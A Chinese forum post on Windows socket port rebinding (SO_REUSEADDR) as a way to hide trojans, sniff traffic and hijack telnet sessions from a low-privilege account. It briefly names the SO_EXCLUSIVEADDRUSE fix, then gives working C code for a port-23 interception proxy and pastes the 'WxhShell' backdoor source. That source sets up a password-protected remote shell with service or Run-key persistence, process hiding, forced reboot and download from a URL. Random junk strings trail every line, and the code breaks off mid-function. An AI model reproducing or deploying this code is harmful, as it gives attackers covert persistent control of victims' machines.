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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wY=ky629  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XRz.R/  
` Y ut 1N  
  saddr.sin_family = AF_INET; p"X\]g^jA>  
4dy)g)wM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G%>[I6G  
x7/2e{p uu  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p\,lbrv  
Bq _<v)M*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F{}z[0  
sn *s7v:  
  这意味着什么?意味着可以进行如下的攻击: :l 7\7IT  
`  ^6}Dn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p]>bN  
g\^(>Ouc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nyDqR#t  
~{N|("nB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7i'vAOnw^  
v` B_xEl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +I/P5OGRN  
aE;!mod  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^@)+P/&  
Y<|L|b6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9sRP8Nj|  
?,Hk]Rl3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8!T^KMfz  
kg-%:;y.  
  #include YZnrGkQ  
  #include Vk-_v5  
  #include rkzhN59;  
  #include    0)84Z.k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .*,Zh2eXU  
  int main() ;ndg,05_  
  { 6?t5g4q*nn  
  WORD wVersionRequested; E+Gea[c  
  DWORD ret; ).&$pXj  
  WSADATA wsaData; )pzXC  
  BOOL val; 3NJ-.c@(p  
  SOCKADDR_IN saddr; ``O\'{o&  
  SOCKADDR_IN scaddr; 3 $RII -}>  
  int err; 5= F-^  
  SOCKET s; u}$U|Cw-;T  
  SOCKET sc; p;B +g X  
  int caddsize; jLEU V  
  HANDLE mt; g_}@/5?y  
  DWORD tid;   G3e%~  
  wVersionRequested = MAKEWORD( 2, 2 ); ^ZV xBQKg  
  err = WSAStartup( wVersionRequested, &wsaData ); ;Lu}>.t  
  if ( err != 0 ) { 9\"~G)  
  printf("error!WSAStartup failed!\n"); 6 HEl1FK{@  
  return -1; ;or> Sh7  
  } f.u{;W  
  saddr.sin_family = AF_INET; ,%:`Ll t]$  
   '}}DPoV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {=(4  
A,iXiDb3pK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w}E?FEe.  
  saddr.sin_port = htons(23); 1]kk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a`{'u)@  
  { 0lBl5k e  
  printf("error!socket failed!\n"); sG}9l1  
  return -1; O_:Q#  
  } O/5W-u  
  val = TRUE; mki=.l$O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Kp99y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) EZ=M^0=Hpf  
  { ?e ~*,6  
  printf("error!setsockopt failed!\n"); O35f5Kz  
  return -1; :3G9YjzC}  
  } G/D{K$=t~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \myc n/e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]-q:Z4rb  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [F>zM  
n%O`K{86  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^X?[zc GE  
  { ;Joo!CXHO  
  ret=GetLastError(); .K0BK)axO  
  printf("error!bind failed!\n"); Z uE 0'9  
  return -1; 2ru6 bIb;  
  } Ex Qld  
  listen(s,2); c.XLEjV|  
  while(1) @e slF  
  { I4)vJ0  
  caddsize = sizeof(scaddr); ]~oM'?&!  
  //接受连接请求 Rp|:$5&nE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "C.$qk]  
  if(sc!=INVALID_SOCKET) _%>.t  
  { R@EFG%|`_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Vt&I[osC  
  if(mt==NULL) O8lOr(|l  
  { SrKF\h%/+  
  printf("Thread Creat Failed!\n"); QoW3*1o  
  break; H1@"Yg8  
  } FJD*A`a  
  } ,CdI.kV>o2  
  CloseHandle(mt); zZy>XHR H  
  } M\]E;C'"U  
  closesocket(s); DnTM#i:  
  WSACleanup(); [C&c;YNp  
  return 0; I/(`<s p  
  }   81KtK[?b  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~7k b4[  
  { 1|%$ie  
  SOCKET ss = (SOCKET)lpParam; 7,jqA"9  
  SOCKET sc; b_LzG_n!   
  unsigned char buf[4096]; d`xqs,0f  
  SOCKADDR_IN saddr; 65}:2l2<  
  long num;  $SDx) '!  
  DWORD val; !F%dE!  
  DWORD ret; gi`ZFq@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +I')>6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U_J|{*4S.!  
  saddr.sin_family = AF_INET; OO@$jXZB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _6|b0*jv'&  
  saddr.sin_port = htons(23); Zw3|HV(so  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;xRyONt  
  { 9DT}sCLz:B  
  printf("error!socket failed!\n"); Z]6D0b  
  return -1; oDRNM^gz  
  } z C``G<TB  
  val = 100; ?LW1D+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1k7E[G~G|  
  { F8k1fmM]Y  
  ret = GetLastError(); isN"7y|r:X  
  return -1; FYi<+]HZ  
  } q80?C.,`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;CC[>  
  { 8?(4E 'vf  
  ret = GetLastError(); Zs4N0N{  
  return -1; =l\D7s  
  } +uH1rF_&@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4f1*?HX&  
  { ZE1#{u~[y  
  printf("error!socket connect failed!\n"); 2{%BQq>C  
  closesocket(sc); 3sL#_@+yz  
  closesocket(ss); [~;9Mi.XL  
  return -1; U@*z#T#"m  
  } Ufk7%`  
  while(1) *s/F4?*  
  { d2(n3Xf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2 o.Mh/D0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KSexG:Xb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $`riB$v  
  num = recv(ss,buf,4096,0); ^ yfT7050  
  if(num>0) ](O!6_'d  
  send(sc,buf,num,0); D4S>Pkv  
  else if(num==0) %++q+pa  
  break; ;TR.UUT  
  num = recv(sc,buf,4096,0); @U9ov >E  
  if(num>0) m/{rmtA4  
  send(ss,buf,num,0); w,P2_xk`  
  else if(num==0) :8rqTBa`  
  break; /!LfEO  
  } 'Kq%t M26!  
  closesocket(ss); &^Xm4r%u_  
  closesocket(sc); `fL$t0 "  
  return 0 ; Ms$kL'/  
  } sQ_{zOUPh  
zi5;>Iv0}  
mO\6B7V!  
========================================================== *v&g>Ni  
Z)ObFJMG5  
下边附上一个代码,,WXhSHELL N#UyAm<9  
[3\}Ca1  
========================================================== ul:jn]S*  
NQOdgp  
#include "stdafx.h" ^ sz4rk  
e06r5%|.%  
#include <stdio.h> VJPt/Dy{  
#include <string.h> Vdjca:`  
#include <windows.h> f6z[k_lLN  
#include <winsock2.h> O/FQ'o1F  
#include <winsvc.h> KI# hII[Q.  
#include <urlmon.h> .-o$ IQsS  
:_vf1>[  
#pragma comment (lib, "Ws2_32.lib") g{i( 4DHm(  
#pragma comment (lib, "urlmon.lib") [WB8X,  
\Q & Kd|  
#define MAX_USER   100 // 最大客户端连接数 2AdV=n6Z  
#define BUF_SOCK   200 // sock buffer gXF.e.uU  
#define KEY_BUFF   255 // 输入 buffer P ^D\znvc  
No h*1u*  
#define REBOOT     0   // 重启 h<}4mo_ $  
#define SHUTDOWN   1   // 关机 ^c/.D*J[I  
-ERDWY  
#define DEF_PORT   5000 // 监听端口 JWEqy+,Fjw  
9_&.G4%V  
#define REG_LEN     16   // 注册表键长度 QYg2'`(  
#define SVC_LEN     80   // NT服务名长度 x=9drKIw>  
B>JRta;hj  
// 从dll定义API iptzVr#b[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bf8 #&]O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a*o=,!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UD .$C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b2ZKhS8  
V RT| OUq  
// wxhshell配置信息 |J8c|h<  
struct WSCFG { &L;0%  
  int ws_port;         // 监听端口 RU@`+6 j+  
  char ws_passstr[REG_LEN]; // 口令 pvcD 61,  
  int ws_autoins;       // 安装标记, 1=yes 0=no &t`l,]PQ=6  
  char ws_regname[REG_LEN]; // 注册表键名 qi$6y?  
  char ws_svcname[REG_LEN]; // 服务名 2r\ f!m'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uN'e~X6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U t0oh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V+DN<F-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $My%7S/3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sN;xHTY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \QQw1c+  
T,5]EHea  
}; N5o jXX!l%  
0<fN<iR`  
// default Wxhshell configuration meE&, {  
struct WSCFG wscfg={DEF_PORT, z#*fELV  
    "xuhuanlingzhe", kJ{X5&,_  
    1, r IY_1  
    "Wxhshell", p'!cGJL  
    "Wxhshell", <kp?*xV]]  
            "WxhShell Service", (Y:5u}*Y  
    "Wrsky Windows CmdShell Service", cbNrto9  
    "Please Input Your Password: ", 6 fL=2a  
  1, )%gi gQZ+  
  "http://www.wrsky.com/wxhshell.exe", /u5MAl.<[  
  "Wxhshell.exe" C#+Gkzq  
    }; 6"z:s-V  
&h')snp:#  
// 消息定义模块 >q "mI6F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IrM Ws86;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3u _[=a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /0@'8f\I  
char *msg_ws_ext="\n\rExit."; 0]fzjiaGt  
char *msg_ws_end="\n\rQuit."; 3+0 $=ef  
char *msg_ws_boot="\n\rReboot..."; R>yoMk/u  
char *msg_ws_poff="\n\rShutdown..."; E&/#Ov  
char *msg_ws_down="\n\rSave to "; T5Yu+>3  
KHI-m9(  
char *msg_ws_err="\n\rErr!"; zXIVHC,"{  
char *msg_ws_ok="\n\rOK!"; VPet1hAy  
bU7n1pzW,o  
char ExeFile[MAX_PATH]; ol [   
int nUser = 0; $@s&qi_&R  
HANDLE handles[MAX_USER]; I ze+](  
int OsIsNt; ]-&A )M6  
V+(1U|@~  
SERVICE_STATUS       serviceStatus; !0i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  $TGE  
<Y9%oJn%  
// 函数声明 A_i=hj 2f  
int Install(void); 9rf6,hF  
int Uninstall(void); iP)`yB5`  
int DownloadFile(char *sURL, SOCKET wsh); il|e5TD^  
int Boot(int flag); )w4i0Xw^C:  
void HideProc(void); ~+ Mp+gE  
int GetOsVer(void); -XRn%4EX?  
int Wxhshell(SOCKET wsl); j  Jt"=  
void TalkWithClient(void *cs); Y{ijSOl3  
int CmdShell(SOCKET sock); 49W@?: b  
int StartFromService(void); yb\T< *  
int StartWxhshell(LPSTR lpCmdLine); sIJl9  
dG2k4 O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Arc6d5Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aA7}>  
yS'W ss  
// 数据结构和表定义 K&3,J7&&  
SERVICE_TABLE_ENTRY DispatchTable[] = ^ ~'&K e  
{ '1+s^Q'pc  
{wscfg.ws_svcname, NTServiceMain},  d|;S4m`  
{NULL, NULL} 0%&ZR=y(G  
}; B]iPixA6  
piULIZ0  
// 自我安装 0n<>X&X  
int Install(void) E^qJ5pr_P  
{ _3~/Z{z8  
  char svExeFile[MAX_PATH]; qQ6rF nA  
  HKEY key; ?71?Vd  
  strcpy(svExeFile,ExeFile); l!qhK'']V"  
@cRR  
// 如果是win9x系统,修改注册表设为自启动 lY -2e>  
if(!OsIsNt) { 3dheT}XV?p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UTwXN |'|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t/%{R.1MN  
  RegCloseKey(key); ,a 2(h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g\%;b3"#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sqn|  
  RegCloseKey(key); /<C}v~r  
  return 0; ut j7"{'k|  
    } Fj;];1nt  
  } CiF(   
} ( f]@lNmx  
else { Jui:Ms  
}$%j}F{  
// 如果是NT以上系统,安装为系统服务 BA(erf>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GBeWF-`B  
if (schSCManager!=0) *uW l 804  
{ 7qsu0 .[d  
  SC_HANDLE schService = CreateService e%[0 NVo  
  ( !$n@-  
  schSCManager, /~~A2.=.  
  wscfg.ws_svcname, fVJlA  
  wscfg.ws_svcdisp, 4|U$ON?x  
  SERVICE_ALL_ACCESS, O"^3,-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  R.x^  
  SERVICE_AUTO_START, Y=83r]%  
  SERVICE_ERROR_NORMAL, nSy{ {d  
  svExeFile, RISDjU3  
  NULL, F+@/"1c  
  NULL, 8FT]B/^&m  
  NULL, {&dbxj-'  
  NULL, "%peYNZ&%  
  NULL Fc&3tw"g  
  ); 76::X:76  
  if (schService!=0) d?ru8  
  { `D-P}hDm!  
  CloseServiceHandle(schService); 2JdzeJb  
  CloseServiceHandle(schSCManager); S@Iza9\|@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A>\5fO  
  strcat(svExeFile,wscfg.ws_svcname); 4t 5i9+h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |VX )S!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &u+l`F^Z  
  RegCloseKey(key); VdL*"i  
  return 0; ~ECIL7,  
    } =e)t,YVm  
  } pq"Z,9,F%  
  CloseServiceHandle(schSCManager); zEVQ[y6BcM  
} zsM2R"[X  
} %8O1sF  
W{RZ@ 3ZY  
return 1; HOaNhJ{7D  
} g ?.y7!m  
]SC|%B_*  
// 自我卸载 R?t_tmKXC!  
int Uninstall(void) *O|_)G  
{ %<)!]8}P*  
  HKEY key; 4bs<j  
\E(^<Af  
if(!OsIsNt) { ~U r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X;bHlA-g  
  RegDeleteValue(key,wscfg.ws_regname); y'5`Uo?\",  
  RegCloseKey(key); oyT`AYa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dy>5LzqK3  
  RegDeleteValue(key,wscfg.ws_regname); K/iFB  
  RegCloseKey(key); : E`78  
  return 0; 38GkV.e}$  
  } m]+~F_/  
} K'Y/0:"*  
} Uiv4'v Yg  
else { 5,\-;  
q4#$ca[_ak  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5rb<u>e{  
if (schSCManager!=0) R$ra=sL`  
{ S,Z~-j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |*/-~5"  
  if (schService!=0) C547})  
  { t zShds  
  if(DeleteService(schService)!=0) { :5sjF:@  
  CloseServiceHandle(schService); g#k@R'7E  
  CloseServiceHandle(schSCManager); \ 5.nr*5  
  return 0; )n6,uTlOw  
  } u`CHM:<<?  
  CloseServiceHandle(schService); (#?O3z1@"  
  } a<0q%A x  
  CloseServiceHandle(schSCManager); a&Qr7tT Y"  
} })+iAxR  
} G|o O  
G} f9:G  
return 1; O3V.4tp  
} ZO!h!2*  
(%c&Km7K  
// 从指定url下载文件 Gf +>Aj U'  
int DownloadFile(char *sURL, SOCKET wsh) 4bCA"QM[[  
{ 4_D *xW  
  HRESULT hr; ppo.#p0w  
char seps[]= "/"; %+htA0aX  
char *token; GorEHlvVh  
char *file; v#lrF\G5  
char myURL[MAX_PATH]; ZZw2m@T>  
char myFILE[MAX_PATH]; &OlX CxH  
J&Db-  
strcpy(myURL,sURL); RBz"1hRo`  
  token=strtok(myURL,seps); /Xq|S O  
  while(token!=NULL) IgjPy5k  
  { xM=ydRu  
    file=token; E-%$1=;  
  token=strtok(NULL,seps); R$ !]z(  
  } [+d~He  
4{Q$^wD+.  
GetCurrentDirectory(MAX_PATH,myFILE); W__Y^\ ~  
strcat(myFILE, "\\");  ,)uW`7  
strcat(myFILE, file); g:O/~L0Xb  
  send(wsh,myFILE,strlen(myFILE),0); r$v \\^?2  
send(wsh,"...",3,0); Wks zN h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]- 6q`'?[  
  if(hr==S_OK) %"cOX  
return 0; k')H5h+Q=  
else [,MaAB  
return 1; L8q#_k  
RH{+8?0  
} p$G3<Z&7  
_Ss}dU9  
// 系统电源模块 )Tieef*Q~  
int Boot(int flag) k.7!)jL7  
{ )Z/$;7]#  
  HANDLE hToken; <"K2t Tg.  
  TOKEN_PRIVILEGES tkp; n=)LB& m  
S|xwYaoy%  
  if(OsIsNt) { M@l|n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZeY|JH1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M3elog:M  
    tkp.PrivilegeCount = 1; fK~8h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yZ!~m3Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qRgFVX+vc  
if(flag==REBOOT) { w:9`R<L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5VpqDL~d  
  return 0; =`*@OJHH  
} >0[:uu,'>  
else { ,cxe"U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P* i 'uN  
  return 0; <2oMk#Ng^  
} & kVa*O  
  } ~Ad2L*5S  
  else { {0lu>?<  
if(flag==REBOOT) { Q>$lf.)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1ni72iz\  
  return 0; FA>.1EI  
} n&o"RE 0~0  
else { t*; KxQ+'?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) am !ssF5s  
  return 0; 2D:,(  
} H)h^|A/vO  
} *DvX|| `&  
g-jg;Ri  
return 1; oOc-1C y  
} dl3;A_ 2  
+*xc4  
// win9x进程隐藏模块  *  ]  
void HideProc(void)  j'Jb+@W?  
{ J+Fev.9>  
kGs\"zZM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N@O e[X8  
  if ( hKernel != NULL ) <7>1Z 82)  
  { Yyar{$he  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vNs`UkA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U}4I29M  
    FreeLibrary(hKernel); WUjRnzVM  
  } }Xk_ xQVt{  
Sk"hqF.2  
return; tBfmjxv  
} "g)bNgGV}  
',!jYh}Uxk  
// 获取操作系统版本 OiXO<1'$  
int GetOsVer(void) .gGO+8[N*  
{ mn=b&{')e  
  OSVERSIONINFO winfo; oH&@F@r:+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eub}+~_?[  
  GetVersionEx(&winfo); [mQ1r*[j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) si)>:e  
  return 1; \2=I//YF  
  else 0:n"A,-p  
  return 0; "f<gZsb  
} \.oJ/++  
5M~+F"Hl  
// 客户端句柄模块 ,?Ie!r$6  
int Wxhshell(SOCKET wsl) Z*f%R\u  
{ bcvm]aPu  
  SOCKET wsh; ItvcN  
  struct sockaddr_in client;  ^|zag  
  DWORD myID; qy.$5-e:[9  
UCjx   
  while(nUser<MAX_USER) JIw?]xa*  
{ iLJ@oM;2  
  int nSize=sizeof(client); yGNpx3H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^n<YO=|u  
  if(wsh==INVALID_SOCKET) return 1; U^|T{g+O  
U}DE9e{/!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %FM26^  
if(handles[nUser]==0) ab2Cn|F  
  closesocket(wsh); #"~\/sb   
else G u_\ySV/y  
  nUser++; &*'^uCna  
  } Fbu4GRgJ3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mh2b!B  
)eT>[['fm  
  return 0; hu} vYA7ZH  
} :j .:t  
tY]?2u%)  
// 关闭 socket ;+(_stxqV9  
void CloseIt(SOCKET wsh) /n(0w`   
{ `p9N| V  
closesocket(wsh); V s xI  
nUser--; 'I+M*Iy  
ExitThread(0); Nu?A>Q  
} <9 ^7r J  
G1w$lc  
// 客户端请求句柄 AaxQBTB  
void TalkWithClient(void *cs) ub fh4  
{ ^^7@kh mNl  
7S 8X)  
  SOCKET wsh=(SOCKET)cs; 0>BI[x@  
  char pwd[SVC_LEN]; $#+D:W)az  
  char cmd[KEY_BUFF]; 7g]mrI@  
char chr[1]; (yi zM  
int i,j; P*?|E@;s`  
HfhI9f_x  
  while (nUser < MAX_USER) { =No#/_  
~GX ]K H  
if(wscfg.ws_passstr) { L~)8Q(f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `Mt|+iT$p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #9r}Kr=P  
  //ZeroMemory(pwd,KEY_BUFF); %i/|}K  
      i=0; Q:Pp'[ RK  
  while(i<SVC_LEN) { *yw!Y{e!9  
U ^GVz%\  
  // 设置超时 z8'zH>  
  fd_set FdRead; q78OP}  
  struct timeval TimeOut; =bja\r{  
  FD_ZERO(&FdRead); svDnw cl  
  FD_SET(wsh,&FdRead); %L]sQq,  
  TimeOut.tv_sec=8; YaSBIq{z  
  TimeOut.tv_usec=0; ,D*bLXWh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <yX  u!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wMN{9Ce3j  
&v*4AZ['  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w9<'0wcs  
  pwd=chr[0]; J^7M0A4K  
  if(chr[0]==0xd || chr[0]==0xa) { K-\wx5#l/  
  pwd=0; b?KdR5  
  break; )\:IRr"  
  } r ~UDK]?V  
  i++;  )sdHJ  
    } >KP,67  
x=xo9wEg  
  // 如果是非法用户,关闭 socket c%hXj#;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L[9Kh&c  
} elhP!"G  
0AffD:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <F&XT@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o938!jML_  
\WTKw x  
while(1) { 5NN;Fw+  
(!5Pl`:j"  
  ZeroMemory(cmd,KEY_BUFF); \/j,  
s+fxv(,"c  
      // 自动支持客户端 telnet标准   <yEApWd;  
  j=0; ,9jk<)m]L  
  while(j<KEY_BUFF) { "u4x#7n|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QgYt(/S  
  cmd[j]=chr[0]; hGrX,.zj  
  if(chr[0]==0xa || chr[0]==0xd) { WxO+cB+?  
  cmd[j]=0; X>uLGr>  
  break; |O>e=HC#q8  
  } d7r!<u&/  
  j++; +FadOx7X$  
    } /1{:uh$  
)h 6w@TF  
  // 下载文件 ?.F^Oi6 u  
  if(strstr(cmd,"http://")) { uQn1kI[y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n!~ $Z/  
  if(DownloadFile(cmd,wsh)) 8]vut{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u&S0  
  else G;vj3#u?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y0T#Qq  
  } 65O 8?I  
  else { fUY05OMZ  
/%,aX [  
    switch(cmd[0]) { s:xJ }Ll  
  Z8ivw\|M8  
  // 帮助 Z?=o(hkd  
  case '?': { =8tK]lb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 286reeN/e  
    break; <+q`Dk  
  } B[7,Hy,R  
  // 安装 yF6AI@y  
  case 'i': { W/t,7lPFb  
    if(Install()) c u";rnj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,9I-3**W  
    else Twd*HH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?0KIM* .  
    break; 6la'\l#  
    } V3cKdlu Na  
  // 卸载 LprGsqr:  
  case 'r': { 3w |5%`  
    if(Uninstall()) F7b% x7b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `p* 43nV  
    else aN*{nW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iZ}c[hC'3`  
    break; }0anssC  
    } %f("3!#H  
  // 显示 wxhshell 所在路径 1twpOZ>  
  case 'p': { k= 9+"4:  
    char svExeFile[MAX_PATH]; t,/8U  
    strcpy(svExeFile,"\n\r"); +L'Cbv="  
      strcat(svExeFile,ExeFile); g)$KN,gGuO  
        send(wsh,svExeFile,strlen(svExeFile),0); d(V4;8a0  
    break; (X\]!'A  
    } : KFK2yD  
  // 重启 B-KMlHe  
  case 'b': { <+ [N*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =$y J66e  
    if(Boot(REBOOT)) J;wBS w%1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q=DMfJ"  
    else { l"`VvW[  
    closesocket(wsh); _e>N3fT  
    ExitThread(0); @VIY=qh  
    } m(9I+`  
    break; D{\o*\TN  
    } |X XO0  
  // 关机 }xBO;  
  case 'd': { zd$?2y8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hu6Qr  
    if(Boot(SHUTDOWN)) . IY@Q  
